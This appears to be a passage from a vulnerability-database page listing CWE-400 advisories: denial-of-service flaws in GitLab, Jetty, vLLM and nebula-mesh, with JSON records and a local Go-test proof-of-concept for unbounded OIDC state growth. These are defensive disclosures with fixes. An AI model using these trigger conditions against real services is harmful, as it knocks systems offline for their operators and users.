Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

6476 vulnerabilities reference this CWE, most recent first.

GHSA-M393-H7JJ-5G9W

Vulnerability from github – Published: 2022-05-24 17:01 – Updated: 2024-04-04 02:40
VLAI
Details

GitLab 12.2.3 contains a security vulnerability that allows a user to affect the availability of the service through a Denial of Service attack in Issue Comments.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-15593"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-11-22T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "GitLab 12.2.3 contains a security vulnerability that allows a user to affect the availability of the service through a Denial of Service attack in Issue Comments.",
  "id": "GHSA-m393-h7jj-5g9w",
  "modified": "2024-04-04T02:40:25Z",
  "published": "2022-05-24T17:01:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15593"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/557154"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M394-8RWW-3JR7

Vulnerability from github – Published: 2021-03-10 03:46 – Updated: 2021-10-21 14:14
VLAI
Summary
DOS vulnerability for Quoted Quality CSV headers
Details

Impact

When Jetty handles a request containing request headers with a large number of “quality” (i.e. q) parameters (such as what are seen on the Accept, Accept-Encoding, and Accept-Language request headers), the server may enter a denial of service (DoS) state due to high CPU usage while sorting the list of values based on their quality values. A single request can easily consume minutes of CPU time before it is even dispatched to the application.

The only features within Jetty that can trigger this behavior are:

  • Default Error Handling - the Accept request header with the QuotedQualityCSV is used to determine what kind of content to send back to the client (html, text, json, xml, etc)
  • StatisticsServlet - uses the Accept request header with the QuotedQualityCSV to determine what kind of content to send back to the client (xml, json, text, html, etc)
  • HttpServletRequest.getLocale() - uses the Accept-Language request header with the QuotedQualityCSV to determine which “preferred” language is returned on this call.
  • HttpservletRequest.getLocales() - is similar to the above, but returns an ordered list of locales based on the quality values on the Accept-Language request header.
  • DefaultServlet - uses the Accept-Encoding request header with the QuotedQualityCSV to determine which kind of pre-compressed content should be sent back for static content (content that is not matched against a url-pattern in your web app)

Versions

QuotedQualityCSV was introduced to Jetty 9.3.9.v20160517 and the bug that introduced the vulnerability was in 9.4.6.v20170531.

Currently, known vulnerable versions include:

  • 9.4.6.v20170531 thru to 9.4.36.v20210114
  • 10.0.0
  • 11.0.0

Workarounds

Quality ordered values are used infrequently by jetty so they can be avoided by:

  • Do not use the default error page/handler.
  • Do not deploy the StatisticsServlet exposed to the network
  • Do not call getLocale API
  • Do not enable precompressed static content in the DefaultServlet

Patches

All patches are available for download from the Eclipse Jetty website at https://www.eclipse.org/jetty/download.php - 9.4.37.v20210219 and greater - 10.0.1 and greater - 11.0.1 and greater

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.4.6"
            },
            {
              "fixed": "9.4.37"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "10.0.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "11.0.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2020-27223"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-10T03:46:22Z",
    "nvd_published_at": "2021-02-26T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nWhen Jetty handles a request containing request headers with a large number of \u201cquality\u201d (i.e. q) parameters (such as what are seen on the `Accept`, `Accept-Encoding`, and `Accept-Language` request headers), the server may enter a denial of service (DoS) state due to high CPU usage while sorting the list of values based on their quality values.  A single request can easily consume minutes of CPU time before it is even dispatched to the application.\n\nThe only features within Jetty that can trigger this behavior are:\n\n- Default Error Handling - the `Accept` request header with the `QuotedQualityCSV` is used to determine what kind of content to send back to the client (html, text, json, xml, etc)\n- `StatisticsServlet` - uses the `Accept` request header with the `QuotedQualityCSV` to determine what kind of content to send back to the client (xml, json, text, html, etc)\n- `HttpServletRequest.getLocale()` - uses the `Accept-Language` request header with the `QuotedQualityCSV` to determine which \u201cpreferred\u201d language is returned on this call.\n- `HttpservletRequest.getLocales()` - is similar to the above, but returns an ordered list of locales based on the quality values on the `Accept-Language` request header.\n- `DefaultServlet` - uses the `Accept-Encoding` request header with the `QuotedQualityCSV` to determine which kind of pre-compressed content should be sent back for static content (content that is not matched against a url-pattern in your web app)\n\n### Versions\n`QuotedQualityCSV` was introduced to Jetty 9.3.9.v20160517 and the bug that introduced the vulnerability was in 9.4.6.v20170531. \n\nCurrently, known vulnerable versions include:\n\n- 9.4.6.v20170531 thru to 9.4.36.v20210114\n- 10.0.0\n- 11.0.0\n\n### Workarounds\n\nQuality ordered values are used infrequently by jetty so they can be avoided by:\n\n * Do not use the default error page/handler.\n * Do not deploy the `StatisticsServlet` exposed to the network\n * Do not call `getLocale` API\n * Do not enable precompressed static content in the `DefaultServlet` \n\n### Patches\n\nAll patches are available for download from the Eclipse Jetty website at [https://www.eclipse.org/jetty/download.php](https://www.eclipse.org/jetty/download.php)\n- 9.4.37.v20210219 and greater\n- 10.0.1 and greater \n- 11.0.1 and greater",
  "id": "GHSA-m394-8rww-3jr7",
  "modified": "2021-10-21T14:14:05Z",
  "published": "2021-03-10T03:46:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eclipse/jetty.project/security/advisories/GHSA-m394-8rww-3jr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27223"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd666e187ebea2fda8624683ab51e2a5ad2108f762d21bf1a383d7502@%3Creviews.spark.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rc721fe2910533bffb6bd4d69ea8ff4f36066d260dbcd2d14e041614a@%3Cissues.spark.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rc052fd4e9e9c01bead74c0b5680355ea5dc3b72d46f253cb65d03e43@%3Ccommits.druid.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rb79b62ac3085e05656e41865f5a7efcbdc7dcd7843abed9c5fe0fef8@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/raa6d60b00b67c0550672b4f506f0df75b323dcd25cf574e91e2f2dff@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ra47a26c008487b0a739a368c846e168de06c3cd118d31ecedafa679a@%3Cdev.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ra40a88a2301a3da86e25b501ff4bc88124f2b816c2917d5f3497f8f0@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ra384892bab8c03a60613a6a9d5e9cae0a2b800fd882792a55520115e@%3Ccommits.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ra2f529da674f25a7351543544f7d621b5227c49a0745913b1194d11e@%3Creviews.spark.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8dc1b13b80d39fbf4a9d158850e15cd868f0460c2f364f13dca7050b@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8b1963f16d6cb1230ca7ee73b6ec4f5c48f344191dbb1caabd265ee4@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r897a6a14d03eab09e89b809d2a650f3765065201da5bc3db9a4dd6e8@%3Ccommits.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r857b31ad16c6e76002bc6cca73c83358ed2595477e288286ee82c48d@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r855b24a3bde3674256152edfc53fb8c9000f9b59db3fecbbde33b211@%3Cissues.solr.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r7ffd050d3bd7c90d95f4933560b5f4f15971ab9a5f5322fdce116243@%3Cdev.lucene.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r7fbdb7880be1566f943d80fbbeefde2115c086eba1bef3115350a388@%3Cjira.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd8e24a3e482e5984bc8c5492dc790413e4fdc1234e3debb94515796b@%3Cjira.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rdd6c47321db1bfe12c68a898765bf3b6f97e2afa6a501254ed4feaed@%3Cjira.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re03a4dbc15df6f390a2f8c0a071c31c8324dbef007e59fdc2592091a@%3Ccommits.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re0d38cc2b5da28f708fc89de49036f3ace052c47a1202f7d70291614@%3Cdev.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re19fa47ec901cc3cf6d7784027198e8113f8bc2dbfd6c9d6d13f5447@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re3bd4f831f9be49871cb6adb997289b5dbcd6fe4bc5cb08223254080@%3Cdev.lucene.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re43768896273c0b5f1a03d7f0a9d370852074489d51825fdc0d77f0f@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re819198d4732804dc01fca8b5b144689a118ede49f6128968773595c@%3Ccommits.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/reb3c6dc050c7ee18ea154cd94dba85d99aa6b02b84c4bb2138a4abf2@%3Creviews.spark.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/reca91f217f9e1ce607ce6e19a1c0b3db82b5b1b58cf39a84d6434695@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf190d1d28e1367d1664ef6bc2f71227566d7b6b39209817a5364da1f@%3Cissues.solr.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf6c2efa3137bc8c22707e550a1f9b80f74bca62b9c8a6f768f2c6b86@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf77f4c4583669f1133d58cc4f1964367e253818ed8db986bb2732f7c@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rff630ce92a4d1bb494fc1a3f9b57a3d60819b436505bcd8c6ccc713c@%3Ccommits.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210401-0005"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r2c947376491a20d1cf143bf3c21ed74113e099d806cfe4c490a45ad8@%3Creviews.spark.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r2c2c7b2971360fb946bbf062c58d7245927dd1ce9150fc9987f65409@%3Cjira.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r27ad7843d060762cc942820566eeaa9639f75371afedf8124b943283@%3Cissues.spark.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r26d9196f4d2afb9bec2784bcb6fc183aca82e4119bf41bdc613eec01@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r1b803e6ebdac5f670708878fb1b27cd7a0ce9d774a60e797e58cee6f@%3Cissues.nifi.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r1b7ed296a865e3f1337a96ee9cd51f6d154d881a30da36020ca72a4b@%3Cjira.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r1414ab2b3f4bb4c0e736caff6dc8d15f93f6264f0cca5c47710d7bb3@%3Creviews.spark.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r105f4e52feb051faeb9141ef78f909aaf5129d6ed1fc52e099c79463@%3Cissues.spark.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r0e25cdf3722a24c53049d37396f0da8502cb4b7cdc481650dc601dbc@%3Cgitbox.activemq.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r0cdab13815fc419805a332278c8d27e354e78560944fc36db0bdc760@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r0c6eced465950743f3041b03767a32b2e98d19731bd72277fc7ea428@%3Ccommits.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r0b639bd9bfaea265022125d18acd2fc6456044b76609ec74772c9567@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r07aedcb1ece62969c406cb84c8f0e22cec7e42cdc272f3176e473320@%3Cusers.solr.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r068dfd35ce2193f6af28b74ff29ab148c2b2cacb235995576f5bea78@%3Cissues.solr.apache.org%3E"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eclipse/jetty.project"
    },
    {
      "type": "WEB",
      "url": "https://bugs.eclipse.org/bugs/show_bug.cgi?id=571128"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r7f4ad5eec0bce2821c308bb23cac53df5c94eb84de1c58de9b95c176@%3Ccommits.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r75ee2a529edb892ac59110cb3f6f91844a932c5034e16c8317f5668d@%3Ccommits.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r734f996149bb9b1796740385fcbdf3e093eb9aabedc0f20a48ea1d68@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r601f15f3de7ae3a7bbcd780c19155075c56443c2cdc1d193c03b4182@%3Cissues.spark.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r5b7cc6ac733e0b35816751cf45d152ae246a3f40e0b1e62b101c9522@%3Cdev.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r562a0cbc5c8cac4d000a27b2854a8ab1b924aa9dd45f8ffbea98e5ad@%3Cjira.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r5612dc69e1f79c421faf9764ffbc92591e2a69ea417c04cba57f49ea@%3Cuser.karaf.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r521a077885ce79c44a799118c878589e81e525cab72d368e5cfb6f61@%3Cissues.spark.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r51f8975ef47c12a46fbfd7da9efea7f08e1d307fe1dc3042514659ae@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r4c92ea39167c0f7b096ae8268db496b5451d69606f0304b7c8a994c7@%3Cissues.nifi.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r4a456d89a83752a012d88a60ff4b21def6c9f650b9e69ea9fa11c9f9@%3Cissues.spark.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r492cff8488a7f6eb96700afb5d137b719ddb80a833e77f971d2691c6@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r463b12b27264c5e1e3c48c8c2cc5d33813d2f0d981102548fb3102fb@%3Cissues.nifi.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r409ee2bae66bfff6aa89e6c74aff535e6248260d3afcb42bfb3b316b@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r3ce0e31b25ad4ee8f7c42b62cfdc72d1b586f5d6accd23f5295b6dd1@%3Cdev.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r35ab810c0f3016b3fd3a3fa9088a2d2781b354a810780ce74d022b6c@%3Cdev.kafka.apache.org%3E"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DOS vulnerability for Quoted Quality CSV headers"
}

GHSA-M39M-2PQX-3VM2

Vulnerability from github – Published: 2026-09-12 15:31 – Updated: 2026-09-12 15:31
VLAI
Details

vLLM versions >=0.10.2 and <0.28.0 do not apply any audio decode-size or duration limit when extracting audio from video input for NanoNemotronVL models. In nano_nemotron_vl.py, _extract_audio_from_videos calls load_audio_pyav(BytesIO(video_bytes)) without the max_duration_s or max_decode_bytes parameters, so neither VLLM_MAX_AUDIO_DECODE_DURATION_S nor VLLM_MAX_AUDIO_DECODE_BYTES is enforced (unlike the direct audio upload path in AudioMediaIO). When a NanoNemotronVL model is served with use_audio_in_video=True, an attacker who supplies a small, highly compressed video as multimodal input can force the server to allocate gigabytes of memory during audio decoding, resulting in a denial of service. Fixed in vLLM 0.28.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-90554"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-12T13:16:54Z",
    "severity": "MODERATE"
  },
  "details": "vLLM versions \u003e=0.10.2 and \u003c0.28.0 do not apply any audio decode-size or duration limit when extracting audio from video input for NanoNemotronVL models. In nano_nemotron_vl.py, _extract_audio_from_videos calls load_audio_pyav(BytesIO(video_bytes)) without the max_duration_s or max_decode_bytes parameters, so neither VLLM_MAX_AUDIO_DECODE_DURATION_S nor VLLM_MAX_AUDIO_DECODE_BYTES is enforced (unlike the direct audio upload path in AudioMediaIO). When a NanoNemotronVL model is served with use_audio_in_video=True, an attacker who supplies a small, highly compressed video as multimodal input can force the server to allocate gigabytes of memory during audio decoding, resulting in a denial of service. Fixed in vLLM 0.28.0.",
  "id": "GHSA-m39m-2pqx-3vm2",
  "modified": "2026-09-12T15:31:50Z",
  "published": "2026-09-12T15:31:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-936p-m5pv-vvjf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-90554"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vllm-before-0.28.0-denial-of-service-via-audio-extraction"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-M3CX-MWPG-32JG

Vulnerability from github – Published: 2026-07-14 20:19 – Updated: 2026-07-14 20:19
VLAI
Summary
nebula-mesh: Unauthenticated OIDC login endpoint allocates unbounded in-memory state entries without rate limiting
Details

Summary

When OIDC is enabled, GET /ui/oidc/login is reachable without authentication and is registered outside the Web UI rate-limited auth routes. Every request creates a fresh random OIDC state value and stores it in an in-memory map for 10m. Expired states are swept lazily, but there is no rate limit or maximum live-state cap on the allocation path. An unauthenticated remote client can therefore grow OIDC.states for the full state TTL, bounded by request throughput rather than by configured auth rate limits.

Details

The OIDC login route is registered directly by WithOIDC:

  • internal/web/web.go:153 registers w.router.Get("/ui/oidc/login", o.HandleLogin).
  • internal/web/web.go:154 rate-limits only GET /ui/oidc/callback with w.rateLimitMiddleware("auth").

The normal /ui/* route group applies rate limiting to login/register form submissions, but this direct registration happens outside that group:

  • internal/web/web.go:287 through internal/web/web.go:292 show the rate-limited local login, TOTP, and register POST routes.

The OIDC login handler allocates persistent server-side state before redirecting to the configured identity provider:

  • internal/web/oidc.go:105 defines HandleLogin.
  • internal/web/oidc.go:106 creates a random state token.
  • internal/web/oidc.go:112 calls o.rememberState(state).
  • internal/web/oidc.go:122 redirects to o.oauth.AuthCodeURL(state).

The state storage has a TTL but no maximum size:

  • internal/web/oidc.go:24 through internal/web/oidc.go:26 define oidcStateTTL = 10 * time.Minute.
  • internal/web/oidc.go:353 through internal/web/oidc.go:358 sweep expired states and then add the new state to o.states.
  • internal/web/oidc.go:360 through internal/web/oidc.go:373 delete only expired states.

Because the route is unauthenticated and not rate-limited, a remote client can repeatedly request /ui/oidc/login and force live state entries to accumulate for ten minutes. OIDC must be enabled for exposure. No IdP callback, valid credentials, or user interaction is required to trigger the allocation.

Affected version evidence: OIDC login support was introduced by commit 3f46685 (feat(auth): add OIDC operator login (Keycloak/Authentik/Okta/...) (#24)), and git tag --contains 3f46685 --sort=version:refname returns v0.2.0 and every later release through v0.3.8. Pattern checks across all release tags showed the OIDC login route and state allocation are present in v0.2.0 and in every v0.3.x release from v0.3.0 to v0.3.8, and absent from v0.1.x. The current checkout at commit d92dd9a60de291e2bc1caf73b4e9a99567b31ec0 (git describe: v0.3.8-1-gd92dd9a) remains affected.

PoC

Safe local PoC run from a clean checkout at commit d92dd9a60de291e2bc1caf73b4e9a99567b31ec0 on 2026-06-12. The PoC is a temporary Go test that uses httptest and an in-memory OIDC object; it does not start a real server, does not contact an IdP, and uses 1000 requests only to demonstrate linear state growth.

  1. Create a temporary test file internal/web/security_audit_poc_test.go in package web.
  2. Create a test Web UI with newTestWeb(t).
  3. Install a deliberately tiny auth rate limiter: group auth with rate 0.001 and burst 2.
  4. Attach an OIDC instance with an empty states map and an oauth2.Config whose authorization endpoint is https://idp.example.test/auth.
  5. Send 1000 unauthenticated GET /ui/oidc/login requests from the same RemoteAddr through w.ServeHTTP.
  6. Assert no request returns 429 Too Many Requests, then inspect o.stateCount().

Command run:

go test ./internal/web -run 'TestSecurityAuditPOC' -count=1 -v

Observed vulnerable output from this environment:

=== RUN   TestSecurityAuditPOC_OIDCLoginAllocatesUnrateLimitedState
POC_OIDC_STATE_GROWTH attempts=1000 live_states=1000 ttl=10m0s rate_limit_group=auth_burst_2
--- PASS: TestSecurityAuditPOC_OIDCLoginAllocatesUnrateLimitedState (0.10s)

The meaningful control is that local login/register/TOTP POST routes and the OIDC callback are rate-limited: internal/web/web.go:287 through internal/web/web.go:292 and internal/web/web.go:154. The PoC specifically shows the OIDC login allocation route does not share that protection. After recording the output, the temporary test file was removed and git status --short returned clean. The PoC was re-run after drafting this report and produced the output shown above.

Impact

In deployments with OIDC enabled, an unauthenticated remote client can cause application-layer memory growth by repeatedly requesting /ui/oidc/login. Each request stores a new state entry for ten minutes, and the growth is not bounded by the configured auth rate limiter or by a maximum map size. The demonstrated impact is availability degradation risk through retained in-memory state growth. The PoC used 1000 local requests to avoid disruptive load while proving the source-to-sink behavior (1000 requests resulted in 1000 live states).

Suggested remediation: apply the existing auth rate limiter to GET /ui/oidc/login, add a maximum number of live OIDC states per client and/or globally, and fail closed when the cap is reached. Add a regression test that attaches a low-burst auth limiter, sends repeated GET /ui/oidc/login requests from the same client, and expects 429 or bounded live-state count after the configured burst.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/forgekeep/nebula-mesh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.0"
            },
            {
              "fixed": "0.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55512"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T20:19:32Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nWhen OIDC is enabled, `GET /ui/oidc/login` is reachable without authentication and is registered outside the Web UI rate-limited auth routes. Every request creates a fresh random OIDC state value and stores it in an in-memory map for `10m`. Expired states are swept lazily, but there is no rate limit or maximum live-state cap on the allocation path. An unauthenticated remote client can therefore grow `OIDC.states` for the full state TTL, bounded by request throughput rather than by configured auth rate limits.\n\n### Details\nThe OIDC login route is registered directly by `WithOIDC`:\n\n- `internal/web/web.go:153` registers `w.router.Get(\"/ui/oidc/login\", o.HandleLogin)`.\n- `internal/web/web.go:154` rate-limits only `GET /ui/oidc/callback` with `w.rateLimitMiddleware(\"auth\")`.\n\nThe normal `/ui/*` route group applies rate limiting to login/register form submissions, but this direct registration happens outside that group:\n\n- `internal/web/web.go:287` through `internal/web/web.go:292` show the rate-limited local login, TOTP, and register POST routes.\n\nThe OIDC login handler allocates persistent server-side state before redirecting to the configured identity provider:\n\n- `internal/web/oidc.go:105` defines `HandleLogin`.\n- `internal/web/oidc.go:106` creates a random state token.\n- `internal/web/oidc.go:112` calls `o.rememberState(state)`.\n- `internal/web/oidc.go:122` redirects to `o.oauth.AuthCodeURL(state)`.\n\nThe state storage has a TTL but no maximum size:\n\n- `internal/web/oidc.go:24` through `internal/web/oidc.go:26` define `oidcStateTTL = 10 * time.Minute`.\n- `internal/web/oidc.go:353` through `internal/web/oidc.go:358` sweep expired states and then add the new state to `o.states`.\n- `internal/web/oidc.go:360` through `internal/web/oidc.go:373` delete only expired states.\n\nBecause the route is unauthenticated and not rate-limited, a remote client can repeatedly request `/ui/oidc/login` and force live state entries to accumulate for ten minutes. OIDC must be enabled for exposure. No IdP callback, valid credentials, or user interaction is required to trigger the allocation.\n\nAffected version evidence: OIDC login support was introduced by commit `3f46685` (`feat(auth): add OIDC operator login (Keycloak/Authentik/Okta/...) (#24)`), and `git tag --contains 3f46685 --sort=version:refname` returns `v0.2.0` and every later release through `v0.3.8`. Pattern checks across all release tags showed the OIDC login route and state allocation are present in `v0.2.0` and in every `v0.3.x` release from `v0.3.0` to `v0.3.8`, and absent from `v0.1.x`. The current checkout at commit `d92dd9a60de291e2bc1caf73b4e9a99567b31ec0` (`git describe`: `v0.3.8-1-gd92dd9a`) remains affected.\n\n### PoC\nSafe local PoC run from a clean checkout at commit `d92dd9a60de291e2bc1caf73b4e9a99567b31ec0` on 2026-06-12. The PoC is a temporary Go test that uses `httptest` and an in-memory OIDC object; it does not start a real server, does not contact an IdP, and uses 1000 requests only to demonstrate linear state growth.\n\n1. Create a temporary test file `internal/web/security_audit_poc_test.go` in package `web`.\n2. Create a test Web UI with `newTestWeb(t)`.\n3. Install a deliberately tiny auth rate limiter: group `auth` with rate `0.001` and burst `2`.\n4. Attach an `OIDC` instance with an empty `states` map and an `oauth2.Config` whose authorization endpoint is `https://idp.example.test/auth`.\n5. Send 1000 unauthenticated `GET /ui/oidc/login` requests from the same `RemoteAddr` through `w.ServeHTTP`.\n6. Assert no request returns `429 Too Many Requests`, then inspect `o.stateCount()`.\n\nCommand run:\n\n```bash\ngo test ./internal/web -run \u0027TestSecurityAuditPOC\u0027 -count=1 -v\n```\n\nObserved vulnerable output from this environment:\n\n```text\n=== RUN   TestSecurityAuditPOC_OIDCLoginAllocatesUnrateLimitedState\nPOC_OIDC_STATE_GROWTH attempts=1000 live_states=1000 ttl=10m0s rate_limit_group=auth_burst_2\n--- PASS: TestSecurityAuditPOC_OIDCLoginAllocatesUnrateLimitedState (0.10s)\n```\n\nThe meaningful control is that local login/register/TOTP POST routes and the OIDC callback are rate-limited: 